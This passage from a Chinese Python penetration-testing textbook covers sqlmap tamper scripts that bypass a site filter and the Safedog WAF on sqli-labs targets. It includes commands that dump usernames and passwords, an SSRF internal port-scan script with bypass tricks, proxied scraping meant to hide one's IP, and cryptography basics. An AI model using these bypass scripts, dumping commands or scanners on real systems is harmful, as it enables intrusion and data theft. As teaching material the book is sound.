我们先看一下在不使用Tamper脚本的情况下，SQLMap对网站进行注入的情况。运行如下代码：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1"

运行结果发现SQLMap无法进行注入：

我们在编写的绕过脚本中增加--tamper，增加-v 3来查看输出的Payload。代码如下：

>>>sqlmap -u "http://192.168.61.1/sql/Less-26/?id=3" --tamper "double-and-
    or.py,space2A0.py" -v 3

通过观察Payload的输出发现，脚本已经成功执行，如下所示：

SQLMap已经成功找出注入点，结果如下所示：

接下来遍历数据库，代码如下：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1" -v 3 --tamper
    "double-and-or.py,space2A0.py" –dbs

运行结果如下所示：

接下来遍历security里面的数据表，代码如下：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1" -v 3 --tamper
    "double-and-or.py,space2A0.py" -D "security" --tables

运行结果如下所示：

再来遍历security数据库中users表的字段，代码如下：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1" -v 3 --tamper
    "double-and-or.py,space2A0.py" -D "security" -T "users" --columns

运行结果如下所示：

然后就是遍历数据了，代码如下：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1" -v 3 --tamper
    "double-and-or.py,space2A0.py" -D "security" -T "users" -C "username,
    password" --dump

运行结果如下所示：

但是这里发现，并没有数据出现。这说明最后遍历数据库数据的Payload还是有问题。通过查看SQLMap的Payload发现，Payload中的count（*）出现了关键词*，说明是被过滤了。所以我们还需要再写一个Tamper把count（*）进行替换。这里可以通过count（常数）来代替count（*）。

我们编写第三个脚本count.py，把count（*）变成count（1）：

#!/usr/bin/env python
# -*- coding:UTF-8 -*-
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        # 把count(*)替换为count(1)
        retVal = re.sub(r"(?i)count\(\*\)", r"count(1)", payload)

    return retVal

然后继续进行注入，代码如下：

>>> sqlmap -u "http://192.168.61.134/sqli/Less-26/?id=1" -v 3 --tamper
    "double-and-or.py,space2A0.py,count.py" -D "security" -T "users" -C
    "username,password" --dump

运行结果如下所示：

这样我们通过3个Tamper脚本的搭配使用，成功绕过网站的防护完成了SQL注入。

5.4.3　Tamper脚本的编写（二）

5.4.2节中我们讲了绕过网站自身防SQL注入系统的方法，本节将针对WAF编写Tamper脚本进行绕过。

此处以sqli-labs靶场的第4关为例，如图5-9所示。笔者的环境为PHP-5.2.17+Apache。

图5-9　sqli-labs第4关

安装网站安全狗（Apache版）4.0V正式版，安全狗的防护参数设置如图5-10和图5-11所示。

此时，我们再次尝试进行SQL注入时，安全狗就会进行拦截，如图5-12和图5-13所示。

表5-3所示是笔者经过测试，总结的对当前版本安全狗的绕过方法。

图5-10　安全狗的防护设置1

图5-11　安全狗的防护设置2

图5-12　安全狗拦截1

图5-13　安全狗拦截2

表5-3　安全狗的绕过方法

我们编写一个Tamper脚本，把安全狗拦截的关键字进行替换：

#!/usr/bin/env python

#!/usr/bin/env python

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace("UNION","union/*!88888cas*/")
        payload = payload.replace("--","/*!*/--")
        payload = payload.replace("SELECT","/*!88888cas*/select")
        payload = payload.replace("FROM","/*!99999c*//*!99999c*/from")
        payload = payload.replace("#","/*!*/#")
        payload = payload.replace("USER()","USER/*!()*/")
        payload = payload.replace("DATABASE()","DATABASE/*!()*/")
        payload = payload.replace(" ","/*!*/")
        payload = payload.replace("=","/*!*/=/*!*/")
        payload = payload.replace("AND","/*!*/AND/*!*/")

    return payload

我们使用Tamper脚本再次尝试SQL注入，代码如下：

>>>sqlmap -u "http://192.168.61.134/sqli/Less-4/?id=1" --tamper "Bypass.py"
    -v 3 --dbs

运行结果如下所示：

可以看到，我们成功绕过安全狗的防护探测到数据库的信息，接下来我们探测security数据库，代码如下：

>>>sqlmap -u "http://192.168.61.134/sqli/Less-4/?id=1" --tamper "Bypass.py"
    -v 3 -D "security" –tables

运行结果如下所示：

接下来遍历security数据库users表的字段，代码如下：

>>>sqlmap -u "http://192.168.61.134/sqli/Less-4/?id=1" --tamper "Bypass.py"
    -v 3 -D "security" -T "users" --columns

运行结果如下所示：

再接下来就是遍历数据了，代码如下：

>>>sqlmap -u "http://192.168.61.134/sqli/Less-4/?id=1" --tamper "Bypass.py"
    -v 3 -D "security" -T "users" -C "username,password" --dump

运行结果如下所示：

5.5　服务器端请求伪造漏洞

服务器端请求伪造（Server-Side Request Forger，SSRF）漏洞是近年来比较常见的一种漏洞。SSRF漏洞本身并不危险，与SQL注入或XSS相比较危害不大，但近年来有人通过将SSRF结合未授权访问漏洞进行渗透，危害就非常严重了。并且，因为SSRF漏洞本身危害不大，导致甲方对于这个漏洞不重视，更容易成为渗透中的突破口。

5.5.1　简介

SSRF是一种攻击者构造恶意数据包，使服务器端向另一个服务器发起请求的安全漏洞。大多数情况下，SSRF的目标是网站内部的系统。攻击者通过构造恶意数据包，使服务器向内部系统发送恶意构造的请求，从而达到攻击目的。

1.SSRF常见的用处

SSRF的常见用处如下：

·向外网、服务器所在内网、本地进行端口扫描，获取服务的banner信息等。

·攻击运行在内网或本地的应用（如Struts2、SQL、Redis等）。

·对内网Web应用进行指纹识别，通过访问默认文件实现（如readme等文件）。

图5-14　SSRF常见应用场景

·利用file协议读取本地文件等。

2.SSRF应用场景

分享页面。一些Web程序应用为了提供更好的用户体验，在分享的功能中通常会获取目标URL网页内容中的标签文本内容。如若此功能中没有对URL地址进行过滤及限制处理，则可能存在SSRF漏洞，如图5-14所示。

在线翻译，加载图片、文章。上传头像、加载图片等处理常常会涉及远程加载的功能，过分信任用户输入，没有做严谨的过滤限制，这也会造成SSRF漏洞，如图5-15所示。

图5-15　图片加载

3.SSRF的常用绕过技巧

SSRF漏洞常用的绕过技巧如下：

图5-16　短网址

·利用@符号绕过，例如www.baidu.com@127.0.0.1。

·利用短网址绕过，如图5-16所示。

·利用xip.io 127.0.0.1.xip.io绕过，如下所示：

·利用封闭式字母数字（Enclosed alphanumeric）绕过，如下所示：

5.5.2　检测方法

利用SSRF进行内网探测的攻击方式常见于进行内网端口扫描，以及对Redis服务进行攻击。这里介绍内网扫描的情况。

判断是否存在SSRF，只需在漏洞URL处输入公网服务器的Web应用地址，然后在公网服务器上监控访问的数据，发现有存在漏洞的IP访问，便说明存在SSRF漏洞。

比如https://www.target.com/ueditor/getRemote.jspx?upfile=xxx.xxx.xxx，此处的URL参数可控并且经过验证，确实可以通过修改参数中的地址实现访问。以此为例，编写SSRF的内网探测脚本，具体步骤如下：

1）构造portscan方法，接收两个参数，第一个参数为拼接成SSRF漏洞的地址，第二个参数作为内网探测地址。

2）通过访问构造的URL，根据返回值判断端口是否开放：

# -*- coding-utf-8 -*-
import requests

def portscan(url,rurl):
    # 测试端口，可以根据需求添加或更改
    ports = [21,22,23,25,80,443,445,873,1080,1099,1090,1521,3306,6379,27017]
    for port in ports:
        try:
            url = url + '/ueditor/getRemoteImage.jspx?upfile=' + rurl +
                ':{port}'.format(port=port)
            response = requests.get(url, timeout=6)
        except:
            超过6秒就认为端口是开放的，因为如果端口不开放，目标肯定会发一个TCP REST，
                连接会立刻中断，说明漏洞存在
            print('[+]{port} is open'.format(port=port))

if __name__ == '__main__':
    # portscan('target site','hacker test site')
    portscan('http://www.target.com', '192.168.23.1')

192.168.23.1代表需要探测的内网地址，运行效果如图5-17所示。

图5-17　运行效果

5.5.3　防御策略

对于SSRF的防御策略，可以从漏洞的成因进行分析。造成SSRF漏洞的主要原因在于：

·传入服务器需要访问的地址或者需要访问的参数用户可控。

·对于用户传入的参数，服务器端没有做校验限制。

严格控制传入参数的内容，校验参数的合法性，便能有效地防御此漏洞。比如一个加载远程头像的功能点，就应该限制传入的参数必须为网址，而不是IP，并且校验网址的后缀是否为图片的地址，否则将不予访问。按照此思路，对于不同的功能点需求限制传入参数的特定作用范围，如此便能有效地防御此漏洞。

5.6　网络代理

网络代理的用途广泛，常用于代理爬虫，代理VPN，代理注入等。使用网络代理能够将入侵痕迹进一步减少，能够突破自身IP的访问限制，提高访问速度，以及隐藏真实IP，还能起到一定的防止攻击的作用。下面将介绍如何使用Python代理进行访问，以及代理爬虫的使用。

Python的代理有多种用法，本节介绍常见的几种：Urllib代理、requests代理。

Urllib代理的设置包括设置代理的地址和端口，访问测试的网址进行测试，会返回访问的IP地址，如果返回的IP是代理IP，则说明是通过代理访问的。示例代码如下：

from urllib.error import URLError
from urllib.request import ProxyHandler,build_opener

proxy='127.0.0.1:1087'                         # 代理地址
proxy_handler=ProxyHandler({
    'http':'http://'+proxy,
    'https':'https://'+proxy
})
opener=build_opener(proxy_handler)
try:
    response = opener.open('http://httpbin.org/get')     # 测试IP的网址
    print(response.read().decode('utf-8'))
except URLError as e:
    print(e.reason)

运行结果如下所示：

requests代理设置包括设置代理的IP地址和端口，访问测试页面，通过测试页面的返回值判断是否为通过代理访问。示例代码如下：

# requests代理设置
import requests

proxy='127.0.0.1:1087'  # 代理地址
proxies={
    'http':'http://'+proxy,
    'https':'https://'+proxy
}
try:
    response=requests.get('http://httpbin.org/get',proxies=proxies)
    print(response.text)
except requests.exceptions.ConnectionError as e:
    print('error:',e.args)

运行结果与Urllib代理相同。

付费代理的使用方法与普通代理的一样，仅仅需要修改proxy的值，在代理IP地址前加上“用户名：密码@”即可。示例代码如下：

proxy='username:password@IP:port'

下面来看一个代理应用的案例：爬取某电影评论。

首先，找到一个获取电影评论的接口，如下所示：

http://m.××××××.com/mmdb/comments/movie/1200486.json?_v_=yes&offset=
    0&startTime=2018-010-20%2022%3A25%3A03

分析一下这个接口的参数信息，可以发现1200486是指电影的唯一识别ID。startTime对应获取到的评论截止时间，从截止时间向前获取15条评论。

分析好后就可以开始编写脚本了，步骤如下：

1）使用requests库的代理方法进行接口访问，代码如下：

proxy = '127.0.0.1:1087'
proxies = {
    'http': 'http://' + proxy,
    'https': 'https://' + proxy
}

2）设置代理地址和端口，让之后的链接都通过此代理来绕过可能存在的反爬虫工具：

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
        AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100
        Safari/537.36'
}

3）设置一个UA，也可以设置多个UA，每次访问时随机抽取UA来避免被检测：

try:
   print(url)
   response = requests.get(url,headers=headers, proxies=proxies, timeout=3)
   if response.status_code == 200:
       print(response.text)
       return response.text
   return None
except requests.exceptions.ConnectionError as e:
    print('error:', e.args)

4）访问接口URL并判断访问是否成功，若成功，则将数据返回，效果如下所示：

5）可以看到，已经成功获取到了数据，但是数据的格式还是原始接口返回的格式，里面的数据并非都是我们想要的数据。所以再写一个数据优化的方法，传入原始数据进行处理，并将处理后的结果返回：

def parse_data(html):
    data = json.loads(html)['cmts']
    comments = []
    for item in data:
        comment = {
            'id': item['id'],
            'nickName': item['nickName'],
            'cityName': item['cityName'] if 'cityName' in item else '',
            'content': item['content'].replace('\n', ' ', 10),
            'score': item['score'],
            'startTime': item['startTime']
        }
        comments.append(comment)
    return comments

运行效果如下所示：

6）可以看到，数据已经处理完成了，接下来进行循环和保存。获取评论时应该从当前时间向前爬取，所以先获取当前时间：

start_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

7）设置截止时间为上映时间，再往前就没有评论了，循环爬取到截止时间点后停止爬取：

end_time = '上映时间'

8）需要循环判断获取的时间是否小于截止的时间点，小于则代表是最早的评论，爬取完成：

while start_time > end_time:
    url = 'http://m.××××××.com/mmdb/comments/movie/1203084.json?
        _v_=yes&offset=0&startTime=' + start_time.replace(' ', '%20')
    try:
        html = get_data(url)    # 获取数据
    except Exception as e:
        time.sleep(0.5)
        html = get_data(url)
    else:

9）每次循环获取的末尾评论时间为下次开始时间时，继续向前获取，再将数据进行处理并保存即可：

comments = parse_data(html)
print(comments)
start_time = comments[14]['startTime']  # 获得末尾评论的时间
start_time = datetime.strptime(start_time, '%Y-%m-%d %H:%M:%S') +
    timedelta(seconds=-1)
start_time = datetime.strftime(start_time, '%Y-%m-%d %H:%M:%S')

for item in comments:
    with open('data.txt', 'a', encoding='utf-8') as f:
        f.write(str(item['id'])+','+item['nickName'] + ',' +
            item['cityName'] + ',' + item['content'] + ',' +
            str(item['score'])+ ',' + item['startTime'] + '\n')

使用代理爬取数据便完成了，效果如下所示：

5.7　小结

本章针对Web中的一些常见漏洞，介绍了产生原因、利用方式和防御措施，其中包括SQL注入、XXE漏洞、未授权访问等，并根据漏洞的利用方式，介绍了如何通过Python脚本进行检测和利用，以及对一些漏洞的防御方法。通过编写脚本工具能够缩短检测时间，提高工作效率。当然，工具写好以后，还要依据服务环境、系统版本和应用协议等不同情况对代码进行修正，提高工具的鲁棒性。

第6章
数据加密

随着信息化和数字化技术的发展，人们对信息安全和保密的重要性认识不断加强，密码学发挥着越来越重要的作用。密码学作为研究编制密码和破译密码的科学技术，由编码学和破译学两门学科构成。其中，应用于编制密码以保守通信秘密称为编码学，应用于破译密码以获取通信情报称为破译学。随着密码学技术的发展，专家学者提出了各种各样的加密算法。根据明文处理方式的不同分为序列密码与分组密码，根据密钥的使用个数不同分为对称加密算法和非对称加密算法。密码学的应用范围也非常广泛，在渗透测试或CTF比赛中也经常会用到密码学知识，因此，掌握密码学相关知识，学会利用Python工具脚本进行检测尤为重要。

本章将对常见的加密算法原理进行简单介绍，然后通过Python脚本的方式实现对数据的加解密计算，主要内容包括：

·常见的加密算法。

·Python加密模块。

·Base64原理及Python实现。

·DES加密算法及Python实现。

·AES加密算法及Python实现。

·MD5加密算法及Python实现。

6.1　常见的加密算法

在学习加密算法之前，需要了解一些专业术语。消息在被加密处理之前称为明文消息，明文消息被加密后称为密文消息。密文消息通过电子设备等发送到接收方，接收方接收到消息后，使用预先确定的算法对密文消息进行解密，从而得到明文消息。所有加密算法都依赖密钥来维护其安全性，密钥往往由一个非常大的二进制数构成。每种算法都具有一个特定密钥空间，此密钥空间的值均可作为密钥算法的有效密钥。因此，保护密钥的安全是非常重要的。

接下来介绍目前最常见的两种加密算法类型：对称加密算法和非对称加密算法。

6.1.1　对称加密算法

对称加密算法依赖于一个共享的加密密钥，该密钥会被分发给所有参与通信的对象。所有通信对象都使用这个密钥对消息数据进行加密和解密。当使用越长的密钥对消息进行加密时，密文数据越难被破解。对称加密算法主要应用于批量加密的数据，并且只为安全服务提供机密性。图6-1说明了对称加密算法的加密和解密过程。对称加密算法的特点是文件加密和解密使用相同的密钥，即发送方和接收方需要持有同一把密钥。相对于非对称加密算法，对称加密算法具有更高的加解密速度，但双方都需要事先知道密钥，密钥在传输过程中可能会被窃取，因此安全性没有非对称加密算法强。常见的对称加密算法包括DES、AES等。

图6-1　对称加密算法的加密和解密过程

因为对称加密算法具有发送方和接收方使用同一把密钥的特点，所以存在如下优缺点：

·对称加密算法的主要优势在于能够以极快的速度进行操作，通常是非对称加密算法的1000～10 000倍。

·对称加密算法未实现不可否认性。由于任意通信方都可以利用共享的密钥对消息进行加密和解密，因此无法分辨指定消息的来源。

·对称加密算法具有不可扩展性。对于大的用户组来说，使用对称密钥的密码进行通信非常困难。只有在每个可能的用户组合共享私有密钥时，组中个人之间的安全专有通信才能实现。

·密钥需要经常更新。每当有成员离开用户组时，所有涉及这个成员的密钥都必须被抛弃。

6.1.2　非对称加密算法

非对称密钥算法（也称为公钥算法）针对对称加密算法的弱点提供了另外一种解决方案。在系统中，每个用户都有两个密钥：一个是在所有用户之间共享的公钥，另一个是只有用户自己知道并秘密保管的私钥。如果使用公钥加密消息，那么只有相关的私钥能够进行解密，反之，如果使用私钥加密消息，则只有用相关的公钥能够解密，即数字签名技术。图6-2是非对称加密算法的加密和解密过程。

图6-2　非对称加密算法的加密和解密过程

在这里举一个例子，如果小明希望向小红发送消息，首先要生成一条明文消息，随后使用小红的公钥对消息进行加密。对这个密文进行解密的唯一方法是使用小红的私钥，并且唯一有权使用这个密钥的用户就是小红。如果小红希望向小明发出回应消息，小红会使用小明的公钥对回应消息进行加密，小明随后可以使用他自己的私钥对消息进行解密，从而读取这些消息。

文件加密需要公钥（publickey）和私钥（privatekey）。接收方在发送消息前，需要事先生成公钥和私钥，然后将公钥发送给发送方。发送方收到公钥后，将待发送数据用公钥加密，发送给接收方。接收方收到数据后，用私钥解密获得明文信息。在整个过程中，公钥负责加密，私钥负责解密，这样数据在传输过程中即使被截获，攻击者没有私钥也无法破解。非对称加密算法的加解密速度低于对称加密算法，但是安全性更高。通常非对称加密算法包括RSA、ECC等。

非对称加密算法除了能够确保消息的保密性，还可以实现对数字签名。如果小明希望使其他用户确信带有其签名的消息是由小明本人发送的，那么首先要使用散列算法创建一个消息摘要。小明随后使用其私钥对消息摘要进行加密。所有希望验证这个签名的用户只需要利用小明的公钥对消息摘要进行解密，然后验证解密的消息摘要是正确的，即可确定是否为小明本人发送的消息。

非对称加密算法的主要优点如下：

·有较好的扩展性，增加新用户只需要生成一对“公钥-私钥”。新用户与非对称密码系统中的所有用户通信时都使用这对相同的密钥。

·容易删除用户。非对称算法提供了一种密钥撤销机制，这个机制准许密钥被取消，从而能够有效地从非对称系统中删除用户。

·只有在用户的私钥被破坏时，才需要进行密钥重建。如果某位用户离开了公司，那么系统管理员只需要简单地将该用户的密钥作废即可。其他密钥都不会被破坏，因此其他用户都不需要进行密钥重建。

·非对称加密算法提供了完整性、身份认证和不可否认性。如果某位用户没有与其他个体共享其私钥，那么具有该用户签名的消息就是正确无误的，并且具有特定的来源，在以后的任何时刻都不能被否认。

6.1.3　分组密码工作模式

在密码学中，分组密码工作模式可以提供诸如机密性或真实性的信息服务。基于分组的对称加密算法（DES、AES等）只是描述如何根据加密密钥对一段固定长度（块）的数据进行加密，对于比较长的数据，分组密码工作模式描述了如何重复应用某种算法加密分组操作来安全地转换大于固定长度的数据量。常见的分组密码工作模式有ECB、CBC、CFB、OFB、CTR 5种，下面将对这5种工作模式的分组密码进行简单介绍。

1.ECB

ECB（Electronic Codebook，电子密码本）模式是最简单的加密模式，明文消息被分成固定大小的块（分组），并且每个块被单独加密。每个块的加密和解密都是独立的，且使用相同的方法进行加密，所以可以进行并行计算，但是一旦有一个块被破解，使用相同的方法就可以解密所有的数据，安全性比较差。ECB模式适用于数据较少的情形，加密前需要把明文数据填充到块大小的整倍数，如图6-3所示为ECB模式示意图。

2.CBC

CBC（Cipher Block Chaining，密码块链）模式中每一个分组要先和前一个分组加密后的数据进行XOR（异或）操作，然后再进行加密。这样每个密文块依赖该块之前的所有明文块，为了保持每条消息都具有唯一性，第一个数据块进行加密之前需要用初始化向量IV进行异或操作。CBC模式是一种最常用的加密模式，主要缺点为加密是连续的，不能并行处理，并且与ECB一样，消息块必须填充到块大小的整倍数。如图6-4所示为CBC模式示意图。

图6-3　ECB模式示意图

图6-4　CBC模式示意图

3.CFB

CFB（Cipher Feedback，密码反馈）模式和CBC模式比较相似，前一个分组的密文加密后和当前分组的明文进行XOR（异或）操作，生成当前分组的密文。CFB模式的解密和CFB加密在流程上也是非常相似的，如图6-5所示为CFB模式示意图。

图6-5　CFB模式示意图

4.OFB

OFB（Output Feedback，输出反馈）模式将分组密码转换为同步流密码，也就是说可以根据明文长度先独立生成相应长度的流密码。在加密流程中可以看出，OFB和CFB非常相似，CFB是前一个分组的密文加密后与当前分组明文进行XOR操作，OFB是将前一个分组异或之前的流密码与当前分组明文进行XOR处理。由于异或操作的对称性，OFB模式的解密与加密的流程完全相同，如图6-6所示为OFB模式示意图。

图6-6　OFB模式示意图

5.CTR

CTR（Counter，计数器）模式与OFB模式相同，计数器模式将分组密码转换为流密码。加密“计数器”的连续值用来产生下一个密钥流块，原理如图6-7所示。

图6-7　CTR模式示意图

6.2　PyCryptodome库安装

PyCryptodome是Python中一种强大的加密算法库，可以实现常见的单向加密、对称加密、非对称加密和流加密算法。目前该库函数支持Python 2和Python 3两种不同版本。其安装方式也极其简单，可根据当前Python环境以pip方式进行安装。

安装PyCryptodome库函数时可以通过pip指令直接进行安装：

>>>sudo pip3 install -i https://pypi.douban.com/simple pycryptodome

具体的安装过程如下所示：

在Windows系统上安装PyCryptodome库函数与Linux系统中稍有不同，命令如下：

>>>pip3 install -i https://pypi.douban.com/simple pycryptodomex

Windows系统下安装的过程如下所示：

6.3　Base64编/解码

Base64是一种由任意二进制到文本字符串的编码方法，常用于在URL、Cookie、网页中传输少量二进制数据。在CTF比赛和渗透测试中，通常会遇到Base64编码的数据，例如Base64编码的图片、请求的数据包被Base64编码等，这时都可以利用Base64的可逆性进行解码。

当通过记事本打开jpg、pdf等格式的文件时，会看到一堆乱码，这是因为二进制文件包含很多无法显示和打印的字符。所以，如果想让像记事本这样的文本处理软件能处理二进制数据，就需要将二进制数据转换为特定字符串，此时就要用到Base64。除此之外，Base64编码也有很多其他用途，例如，垃圾信息传播者采用Base64编码的方式规避反垃圾邮件工具。当需要将二进制数据编码为适合放在URL（包括隐藏表单域）中的形式时，也可以采用Base64的编码方式。该编码不仅简短，同时也具有不可读性，能对敏感数据起到较好的保护作用。

6.3.1　Base64编码原理

Base64编码原理非常简单，首先确定好要编码的字符串，并查找其对应的ASCII码将其转换为二进制表示，每三个8位的字节转换为四个6位的字节（3×8=4×6=24），把6位的最高位添两位数字0，组成四个8位的字节，因此转换后的字符串将要比编码前的字符串长1/3。转换后，再将二进制转换为十进制表示，对应Base64编码的索引表（见表6-1）查阅出该十进制对应的字母，由此最终获得Base64编码。

表6-1　Base64编码的索引表

下面来看两个例子。

例6-1　将A、B、C进行Base64编码，计算Base64编码结果。具体步骤如下：

1）查A、B、C对应的ASCII码，结果为65、66、67。

2）索引值65、66、67所对应的二进制数为01000001、01000010、01000011。

3）每三个8位的字节转换为四个6位的字节：010000、010100、001001、000011。

4）将四个6位的最高位添两位数字0，组成四个8位的字节：00010000、00010100、00001001、00000011。

5）将获得的二进制转换为十进制表示：16、20、9、3。

6）对应Base64编码表查找出该十进制对应的字母为Q、U、J、D。

用在线工具验证一下，如图6-8所示，发现结果和手动计算的一致。

图6-8　用在线工具验证A、B、C的Base64编码结果

依照上面的方式，如果获得的二进制数据不能划分为6位的整数倍时，又该如何计算呢？比如字母A的Base64编码，再比如AB的Base64编码？此时就需要在不够6位的位置上补0，以达到编码所需位数。需要注意的是，Base64编码后产生的字节位数是8的倍数，如果不够位数，则以“=”填充。

例6-2　计算字母A、B的Base64编码。具体步骤如下：

1）查A、B对应的ASCII码，结果为65、66。

2）索引值65、66所对应的二进制数为01000001、01000010。

3）将8位的字节转换为6位的字节：010000、010100、001000。

4）将6位的最高位添两位数字0，组成三个8位的字节：00010000、00010100、00001000。

5）将获得的二进制数转换为十进制表示：16、20、8。

6）对应Base64编码表查阅出该十进制对应的字母为Q、U、I、=。

用在线工具进行验证，如图6-9所示，发现得到的结果和手动计算的一致。

图6-9　用在线工具验证A、B的Base64编码结果

6.3.2　用Python实现Base64编/解码

从严格意义上来说，Base64编码算法并不算是加密算法，Base64编码只是将源数据转码为一种不易阅读的形式，而转码的规则是公开的。接下来将通过Python脚本实现Base64方式的编码和解码。

1.Base64编码方式

示例代码如下：

>>> import base64
>>> s = 'ms08067'
>>> bs = base64.b64encode(s.encode("utf-8"))
>>> print(bs)

运行结果：

' bXMwODA2Nw=='

2.Base64解码方式

示例代码入下：

>>> import base64
>>> bs = 'bXMwODA2Nw=='
>>> bbs = str(base64.b64decode(bs), "utf-8")
>>> print(bbs)

运行结果：

' ms08067'

6.4　DES加密算法

早先，为了满足对计算机数据安全性越来越高的需求，美国国家标准局（NBS）于1973年征用了IBM公司提交的一种加密算法，并经过一段时间的试用和征求意见，于1977年1月5日颁布，作为数据加密标准（Data Encryption Standard，DES），其设计目的是用于加密保护静态存储和传输信道中的数据。DES算法为密码体制中的对称密码体制，又称为美国数据加密标准。

6.4.1　DES加密原理

DES加密算法综合运用了置换、代替、代数等多种密码技术，具有设计精巧、实现容易、使用方便等特点。DES加密算法的明文、密文和密钥的分组长度都是64位，详细的DES加密算法结构如图6-10所示。

图6-10　DES加密算法结构图

DES加密过程如下所示：

1）64位密钥经子密钥产生算法产生16个48位子密钥。

2）64位明文首先经过初始置换IP（Initial Pennutation），将数据打乱重新排列，并分成左右两边，各32位序列。

3）加密函数f实现子密钥K₁对K₀的加密，结果为32位的数据组f（R₀，K₁）。f（R₀，K₁）再与L₀的模2相加，又得到一个32位的数组L₀⊕f（R₀，K₁），以L₀⊕f（R₀，K₁）作为第二次加密迭代的R₁，以R₀作为第二次加密迭代的Ll，第二次加密迭代至第十六次加密迭代分别用子密钥K₂，…，K₁₆进行，其过程与第一次加密迭代相同。

4）第16次加密迭代结束后，产生一个64位的数据组。以其左边32位作为R₁₆，右边32位作为L₁₆，两者合并后经过逆初始置换IP⁻¹将数据重新排列，便得到64位密文。至此，加密结束。

64位密钥经过置换选择1、循环左移、置换选择2等变换，产生16个48位长的子密钥。子密钥的产生过程如图6-11所示。

图6-11　子密钥产生流程图

具体方法如下：

·置换选择1：64位的密钥分为8个字节，每个字节的前7位是真正的密钥位，第8位作为奇偶校验位，将64位密钥中去掉8个奇偶校验位，并将其余56位密钥位打乱重排，且将前28位作为C₀，后28位作为D₀。

·置换选择2：将Ci和Di合并成一个56位的中间数据，从中选择出一个48位的子密钥Ki。

由于DES的运算是对合运算，所以解密和加密可共用同一个运算，只是子密钥使用的顺序不同。把64位密文当作明文输入，而且第一次解密迭代使用子密钥K₁₆，第二次解密迭代使用子密钥K₁₅，依次类推，第十六次解密迭代使用子密钥K₁，最后输出便是64位明文。

6.4.2　用Python实现DES加解密

接下来，将通过Cryptodome库函数（有关Cryptodome库函数的相关介绍详见6.2节）实现对字符串进行DES加密。由于DES为分组密码的加密方式，其工作模式有五种：ECB、CBC、CTR、CFB、OFB。下面将以ECB模式为例，对字符串进行DES加密。

1.DES加密

示例代码如下：

>>> from Cryptodome.Cipher import DES
>>> import binascii
>>> key = b'abcdefgh'                # key的长度须为8字节
>>> des = DES.new(key, DES.MODE_ECB)      # ECB模式
>>> text = 'ms08067.com'
>>> text = text + (8 - (len(text) % 8)) * '='
>>> encrypt_text = des.encrypt(text.encode())
>>> encryptResult = binascii.b2a_hex(encrypt_text)
>>> print(text)
>>> print(encryptResult)

运行结果：

ms08067.com=====
b'b81fcb047936afb76487dda463334767'

2.DES解密

示例代码如下：

>>> from Cryptodome.Cipher import DES
>>> import binascii
>>> key = b'abcdefgh'              # key的长度须为8字节
>>> des = DES.new(key, DES.MODE_ECB)     # ECB模式
>>> encryptResult = b'b81fcb047936afb76487dda463334767'
>>> encrypto_text = binascii.a2b_hex(encryptResult)
>>> decryptResult = des.decrypt(encrypto_text)
>>> print(decryptResult)

运行结果：

b' ms08067.com====='

DES加密方式存在许多安全问题。例如，密钥较短可被穷举攻击，存在弱密钥和半弱密钥等。因此，美国NIST在1999年发布了一个新版本的DES标准3DES。3DES加密算法的密钥长度为168位，能够抵抗穷举攻击，并且3DES底层加密算法与DES相同，许多现有的DES软硬件产品都能方便地实现3DES，因此在使用上也较为方便。

在CTF比赛中往往会利用DES加密算法的密钥较短、弱密钥等安全问题获取flag。一些白帽子在渗透测试过程中会发现拦截的数据包被DES加密，此时，可以考虑DES为对称加密算法，在JavaScript前端代码中寻找相应的key值进行破译。

6.5　AES加密算法

AES（Advanced Encryption Standard，高级加密标准）的出现，是因为以前使用的DES算法密钥长度较短，已经不适应当今数据加密安全性的要求，因此2000年10月2日，美国政府宣布将比利时密码学家Joan Daemen和Vincent Rijmen提出的密码算法RIJNDAEL作为高级加密标准。2001年11月26日，美国政府正式颁布AES为美国国家标准（编号为FIST PUBS 197）。这是密码史上的又一个重要事件。目前，AES已经被一些国际标准化组织，如OSO、IETF、IEEE 802.11等采纳，作为标准。

6.5.1　AES加密原理

AES是一个迭代的、分组密码加密方式，可以使用128、192和256位密钥。与公共密钥密码使用密钥对不同，对称密钥密码使用相同的密钥加密和解密数据。通过分组密码返回的加密数据的位数与输入数据相同。迭代加密使用一个循环结构，在该循环中重复置换（permutation）和替换（substitution）输入数据，加之算法本身复杂的加密过程，使得该算法成为数据加密领域的主流。AES加密算法流程如图6-12所示。

在AES算法中，每一次变换操作产生的中间结果称为状态。将状态表示为二维字节数组（每个元素为一个字节），包括4行，Nb列。Nb等于数据块长度除以32。例如，数据块长度为128时，Nb=4；数据块长度为192时，Nb=6。同理，密钥也可表示为二维字节数组（每个元素为一个字节），包括4行，Nk列。Nk等于密钥块长度除以32。

圈密钥根据圈密钥产生算法由用户密钥产生。圈密钥加密由密钥扩展和圈密钥选择两步完成。首先将用户的密钥进行密钥扩展，再从扩展密钥中选出圈密钥。第一个圈密钥由扩展密钥中的前Nb个字组成，第二个圈密钥由接下来的Nb个字组成，以此类推。最后获得的圈密钥位总数为数据块长度与圈数加l的乘积。

图6-12　AES加密算法流程

RIJNDAEL算法的迭代圈数Nr由Nb和Nk共同决定，可根据表6-2获得相应Nr的值。

表6-2　RIJNDAEL算法迭代圈数Nr

AES加密算法的轮函数采用代替/置换网络结构，包括S盒变换（ByteSub）、行移位变换（ShiftRow）、列混合变换（MixColumn）、圈密钥加变换（AddRoundKey）。下面介绍各种变换方式。

1.S盒变换

S盒变换是按字节进行的代替变换，是作用在状态中每个字节上的一种非线性字节变换。首先将字节的值用它的乘法逆来代替，然后将获取的值按式（6-1）进行仿射变换。

2.行移位变换

